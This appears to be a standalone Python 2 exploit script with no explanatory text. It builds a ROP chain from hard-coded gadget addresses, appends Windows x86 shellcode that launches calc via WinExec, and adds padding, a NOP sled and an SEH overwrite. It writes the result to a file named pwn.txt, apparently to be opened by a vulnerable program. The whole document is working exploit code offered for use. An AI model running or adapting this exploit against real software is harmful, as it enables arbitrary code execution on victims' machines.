import struct
def create_rop_chain():
rop_gadgets = [
0x10031752,
0x1003629a,
0x11111111,
0x10037b12,
0x1003b268,
0x1001c011,
0x10031772,
0x11111111,
0x11111111,
0x11111111,
0x1002e17b,
0x10037b12,
0x11111111,
0x11111111,
0x11111111,
0x1003619e,
0x10032485,
0x11111111,
0x11111111,
0x1002e1ce,
0x11111111,
0x1002894f,
0x1002894f,
0x10031752,
0x10037b12,
0x1005a0a0,
0x10026173,
0x100362c6,
0x10033fb2,
0x10033fb2,
0x10035c12,
0x1003603f,
0x10047d30,
0x100395c2,
0x10032982,
0x10037654,
0xa140acd2,
0x100317c8,
0x1003248d,
0x1001cc57,
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
ropChain = create_rop_chain()
shell = ("\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72"
"\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F"
"\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24"
"\x01\xF9\x0F\xB7\x2C\x51\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45"
"\x75\xF1\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7")
paddingBeginning = "B"*148
nopLen = 444 - len(ropChain)
nopSled = '\x90'*nopLen
paddingMiddleLen = 420 - len(shell)
paddingMiddle = 'B'*paddingMiddleLen
seh = "\xee\x43\x40"
exploit = paddingBeginning + ropChain + nopSled + shell + paddingMiddle + seh
file = open("pwn.txt", 'w')
file.write(exploit)
file.close()